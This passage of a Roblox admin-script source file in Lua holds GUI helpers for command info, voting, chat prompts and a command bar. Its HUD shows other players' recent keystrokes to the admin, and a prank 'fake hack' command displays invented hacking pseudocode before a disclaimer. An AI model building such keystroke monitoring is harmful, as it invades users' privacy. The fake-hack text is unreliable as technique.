4555function GUI:ShowDebtStats(Player, ManualText)
4556 local Text = ManualText
4557 if not ManualText then
4558 Text = "CANNOT GET STATISTICS"
4559 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4560 if RawPage then
4561 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4562 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4563 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4564 end
4565 end
4566
4567 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4568 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4569
4570 return Text
4571end
4572
4573function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4574 if not Player then return nil end
4575 if not CommandTrigger then return nil end
4576
4577 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4578
4579 local CommandKey = CommandTrigger
4580
4581 if not Commands[CommandKey] then
4582 for CommandNames,_ in pairs(Commands) do
4583 for _,CommandName in pairs(CommandNames) do
4584 if CommandName == CommandKey then
4585 CommandKey = CommandNames
4586 end
4587 end
4588 end
4589 end
4590
4591 local CommandData = Commands[CommandKey]
4592
4593 local BodyText = "No valid command has been entered"
4594 local TitleText = "Error"
4595 local CanExe = false
4596 if CommandData then
4597 if Dialog then
4598 Dialog:Invoke(true)
4599 end
4600 local PlayerRank = RANK:GetRank(Player)
4601 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4602 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4603
4604 TitleText = "Command: "..CommandKey[1]
4605 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4606
4607
4608Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4609
4610
4611Description: ]]..CommandData[2]..[[
4612
4613
4614Arguments: ]]..CommandData[3]..[[
4615
4616
4617Minimum rank needed: ]]..CommandData[4]..[[
4618
4619
4620Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4621
4622
4623Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4624
4625
4626Http Command ]]..STRING:BoolString(CommandData.Http)
4627 end
4628
4629 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4630 if Dialog then
4631 Closed.Event:connect(function() Dialog:Invoke(false) end)
4632 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4633 end
4634end
4635
4636function GUI:CreateHUD(Speaker)
4637 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4638
4639 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4640 if SG then SG:Destroy() end
4641 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4642
4643 local function AddHUD(Player, Char)
4644 if not Char or not Char:FindFirstChild("Head") then return nil end
4645
4646 local Rank = RANK:GetRank(Player)
4647 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4648 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4649 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4650 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4651 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4652 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4653 InfoLabel.Text = "Name: "..Player.Name..[[
4654Rank: ]]..RANK:GetRank(Player)..[[
4655Age: ]]..STRING:FindAge(Player.AccountAge)
4656 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4657 InfoLabel.Text = InfoLabel.Text..[[
4658Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4659 end
4660 if LastKeys[Player.UserId] then
4661 local Keys = ""
4662 local KeyLog = {}
4663 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4664 table.insert(KeyLog, KeyData[1])
4665 if KeyData[2] == 8 then
4666 Keys = string.sub(Keys, 1, #Keys - 1)
4667 elseif KeyData[2] == 13 then
4668 Keys = Keys.." "
4669 else
4670 Keys = Keys..string.char(KeyData[2])
4671 end
4672 end
4673 KeyLabel.Text = table.concat(KeyLog, "\n")
4674 KeyOutput.Text = Keys
4675 end
4676 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4677 end end)()
4678
4679 local CharRev,Removing = nil,nil
4680 CharRev = Player.CharacterRemoving:connect(function()
4681 PlayerHUD:Destroy()
4682 CharRev:disconnect()
4683 Removing:disconnect()
4684 end)
4685 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4686 PlayerHUD:Destroy()
4687 CharRev:disconnect()
4688 Removing:disconnect()
4689 end end)
4690 end
4691
4692 local function ConnectHUD(Player)
4693 if Player ~= Speaker then
4694 if Player.Character then
4695 AddHUD(Player, Player.Character)
4696 end
4697
4698 Player.CharacterAdded:connect(function(Char)
4699 if Speaker then
4700 AddHUD(Player, Char)
4701 else return nil
4702 end
4703 end)
4704 end
4705 end
4706
4707 for _,Player in pairs(Server.Players:GetPlayers()) do
4708 ConnectHUD(Player)
4709 end
4710
4711 Server.Players.PlayerAdded:connect(ConnectHUD)
4712end
4713
4714function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4715 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4716 local Stopped = false
4717
4718 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4719 Frame.Size = UDim2.new(1, 0, 1, -30)
4720 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4721
4722 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4723 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4724 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4725
4726 local function AddLine(Speaker, MessageText, MessageColor)
4727 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4728 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4729 if not MessageColor then MessageColor = GUI:ContrastColor() end
4730 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4731 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4732 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4733 Bounds.Parent = Frame
4734 end
4735
4736 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4737
4738 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4739 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4740 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4741
4742 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4743 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4744
4745 CORE:ExecuteResource("MessagePromptHandler", Frame)
4746
4747 wait(0.1)
4748
4749 if PreAdd then
4750 for Num,Add in pairs(PreAdd) do
4751 AddLine(Add[1], Add[2], Add[3])
4752 end
4753 end
4754
4755 --[[
4756 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4757
4758 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4759 if ChatBox.Text == "Click here or press the '-' key" then
4760 ChatBox.Text = ""
4761 end
4762 end)
4763 ]]
4764
4765 local function FireSendPressed()
4766 local Text = CORE:ReadProperty(RPR, Player, "Text")
4767 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4768 SendPressed:Fire(Text)
4769 FakeCB.Visible = true
4770 ClearCB:InvokeClient(Player)
4771 end
4772 end
4773
4774 Closed.Event:connect(function()
4775 if Stopped == false then
4776 Stopped = true
4777 if SpeakerEvents then SpeakerEvents("Leave") end
4778 end
4779 end)
4780
4781 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4782 EnterPressed.OnServerInvoke = FireSendPressed
4783 AddMessage.OnInvoke = AddLine
4784
4785 if SpeakerEvents then
4786 SpeakerEvents("Join")
4787
4788 coroutine.wrap(function()
4789 repeat wait() until not Frame or not Frame.Parent
4790 if Stopped == false then
4791 Stopped = true
4792 SpeakerEvents("Leave")
4793 end
4794 end)()
4795 end
4796
4797 return SendPressed, AddMessage
4798end
4799
4800function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4801 if tonumber(Time) then ShowFormButtons = false end
4802 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4803 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4804 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4805 local Clicked = nil
4806 local Alive = true
4807
4808 local function ClosePrompt(ButtonName)
4809 Alive = false
4810 Close:Invoke()
4811 Clicked = ButtonName
4812 end
4813
4814 for Num,Select in pairs(Buttons) do
4815 local Name = Select
4816 local Style = "White"
4817 local TextColor3 = Color3.new(0,0,0)
4818 if type(Select) == "table" then
4819 Name = Select[1]
4820 if Select[2] then Style = Select[2] end
4821 if Select[3] then TextColor3 = Select[3] end
4822 elseif type(Select) == "string" then
4823 local Case = string.lower(Select)
4824 if Case == "ok" then
4825 Name = "Ok"
4826 Style = "Primary"
4827 TextColor3 = Color3.new(1,1,1)
4828 elseif Case == "yes" then
4829 Name = "Yes"
4830 Style = "Gray"
4831 TextColor3 = Color3.new(0,1,0)
4832 elseif Case == "no" then
4833 Name = "No"
4834 Style = "Red"
4835 TextColor3 = Color3.new(1,0,0)
4836 end
4837 end
4838
4839 if Style == "None" then Style = "Custom" end
4840 if Style == "Casual" then Style = "RobloxButton" end
4841 if Style == "Red" then Style = "RobloxButtonDefault" end
4842 if Style == "Gray" then Style = "RobloxRoundButton" end
4843 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4844 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4845
4846 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4847 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4848 SOUND:BindButton(Button)
4849 end
4850
4851 if tonumber(Time) then
4852 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4853 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4854 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4855
4856 for i = Time,0,-1 do
4857 for ii = 1,10 do
4858 if Alive == true then
4859 Ticker.Text = i
4860 wait(0.1)
4861 else
4862 break
4863 end
4864 end
4865 end
4866 if Alive == true then
4867 ClosePrompt()
4868 end
4869 end
4870
4871 repeat wait() until Alive == false
4872 return Clicked
4873end
4874
4875function GUI:Vote(Speaker, Players, Text, Time)
4876 if not Players or not Text or #Players <= 0 then return end
4877
4878 local Votes = {}
4879 local Tick = 0
4880
4881 for _,Player in pairs(Players) do
4882 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4883 local CanVote = true
4884 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4885 if CanVote == true then
4886 coroutine.wrap(function()
4887 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4888 if Answer == nil then Answer = "Unknown" end
4889 table.insert(Votes, Answer)
4890 end)()
4891 end
4892 end
4893 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4894 wait(2)
4895 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4896 local Total = #Players
4897 local Yes,No,Unknown = 0,0,0
4898 for _,Vote in pairs(Votes) do
4899 if Vote == "Yes" then Yes = Yes + 1
4900 elseif Vote == "No" then No = No + 1
4901 end
4902 end
4903 Unknown = #Players - #Votes
4904
4905 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4906 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4907 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4908]]..Yes.."/"..Total..[[
4909]]..math.ceil((Yes/Total)*100).."% "
4910 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4911]]..No.."/"..Total..[[
4912]]..math.ceil((No/Total)*100).."% "
4913 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4914]]..Unknown.."/"..Total..[[
4915]]..math.ceil((Unknown/Total)*100).."% "
4916 end
4917end
4918
4919--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4920
4921function GUI:LoadGui(Player, Text, InfoText)
4922 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4923 local Dead = false
4924
4925 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4926 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4927 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4928 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4929 if InfoText then Info.Text = InfoText end
4930
4931 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4932 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4933
4934 CloseGui.OnInvoke = function()
4935 Close:Invoke()
4936 Dead = true
4937 end
4938 AddInfo.OnInvoke = function(AddText)
4939 Info.Text = AddText
4940 end
4941
4942 coroutine.wrap(function()
4943 for i = 0,math.huge,3 do
4944 if Dead == false and Frame then
4945 WaitIcon.Rotation = i
4946 wait()
4947 else
4948 break
4949 end
4950 end
4951 end)()
4952
4953 coroutine.wrap(function()
4954 while Dead == false and Frame do
4955 wait(0.5)
4956 LoadLabel.Text = Text.."."
4957 wait(0.5)
4958 LoadLabel.Text = Text..".."
4959 wait(0.5)
4960 LoadLabel.Text = Text.."..."
4961 wait(0.5)
4962 LoadLabel.Text = Text..".."
4963 wait(0.5)
4964 LoadLabel.Text = Text.."."
4965 wait(0.5)
4966 LoadLabel.Text = Text
4967 end
4968 end)()
4969
4970 wait(1)
4971
4972 return CloseGui, AddInfo
4973end
4974
4975function GUI:FakeHack(Player) coroutine.wrap(function()
4976 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4977 local FakeText = [[
4978>SHELL: BEGIN
4979>RUNCODE:
4980return {
4981 local Hack = {"Account", "Tix", "Robux"};
4982 function Start(Type, Inject, Scan)
4983 if not Inject then Inject = "In-Game" end
4984 return {Type, Inject, Scan}
4985 end
4986 for Exe,Exploit in pairs(Hack) do
4987 local IP = Start("In-Game",Exploit,
4988 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4989 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4990 )
4991 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4992 for i = 1,#Injection[2] do
4993 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4994 end
4995 local PlayerProxy = newproxy(true)
4996 setmetatable(PlayerProxy,Injection[3],{
4997 __index = function(StealData, ...) local Data = unpack(...)
4998 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4999 end;
5000 })
5001 end
5002 Log("HACKED HOST: PLAYERNAME")
5003}
5004>HACKED HOST: PLAYERNAME
5005
5006]]
5007 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5008 if SG then SG:Destroy() end
5009 SG = Instance.new("ScreenGui", Player.PlayerGui)
5010 SG.Name = "MML Hack Gui"
5011 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5012 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5013 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5014 for i = 1,#FakeText do
5015 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5016 if math.random(1,5) == 1 then
5017 wait()
5018 end
5019 end
5020 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5021 wait(3)
5022 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5023fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5024 X.Visible = true
5025end)() end
5026
5027function GUI:CommandBar(Player)
5028 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5029
5030 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5031 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5032 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5033 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5034
5035 local _,Rank = RANK:GetRank(Player)
5036 local UsableCommands = {}
5037 for CommandNames,Data in pairs(Commands) do
5038 if not Data.Hidden then
5039 if RANK:ConvertRank(Data[4]) <= Rank then
5040 for _,Command in pairs(CommandNames) do
5041 table.insert(UsableCommands, {Command, Data[3]})
5042 end
5043 end
5044 end
5045 end
5046
5047 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5048
5049 local function ExecuteText()
5050 local Text = CORE:ReadProperty(RPR, Player, "Text")
5051 CORE:Chatted(Text, Player, true)
5052 CommandBox.Text = "Enter a command here"
5053 end
5054
5055 local function AddSuggestion(Text)
5056 if Text == nil then Text = Settings.Prefix end
5057 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5058 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5059 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5060 if Text == Settings.Prefix then
5061 CommandBox.Text = Settings.Prefix
5062 else
5063 CommandBox.Text = Settings.Prefix..Text
5064 end
5065 CORE:ExecuteResource("Focus", CommandBox)
5066 end, true)
5067 end
5068
5069 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5070 if CommandBox.Text == "Enter a command here" then
5071 CommandBox.Text = ""
5072 end
5073 end)
5074
5075 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5076 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5077
5078 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5079 EnterPressed.OnServerInvoke = ExecuteText
5080
5081 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5082 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5083 Suggest:ClearAllChildren()
5084 local Text = CORE:ReadProperty(RPR, Player, "Text")
5085 if Text == "" then
5086 AddSuggestion(Settings.Prefix)
5087 end
5088
5089 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5090 Text = string.sub(Text,#Settings.Prefix+1)
5091 end
5092 for _,Data in pairs(UsableCommands) do
5093 local Command,Args = Data[1],Data[2]
5094 if string.find(string.lower(Command),string.lower(Text)) then
5095 local NewSuggestion = Command
5096 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5097 AddSuggestion(NewSuggestion)
5098 end
5099 end
5100
5101 end end)
5102end
5103
5104function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5105 if not Player or not AllSeconds then return nil end
5106 AllSeconds = tonumber(AllSeconds)
5107 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5108 AllSeconds = math.floor(AllSeconds)
5109 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5110 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5111 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
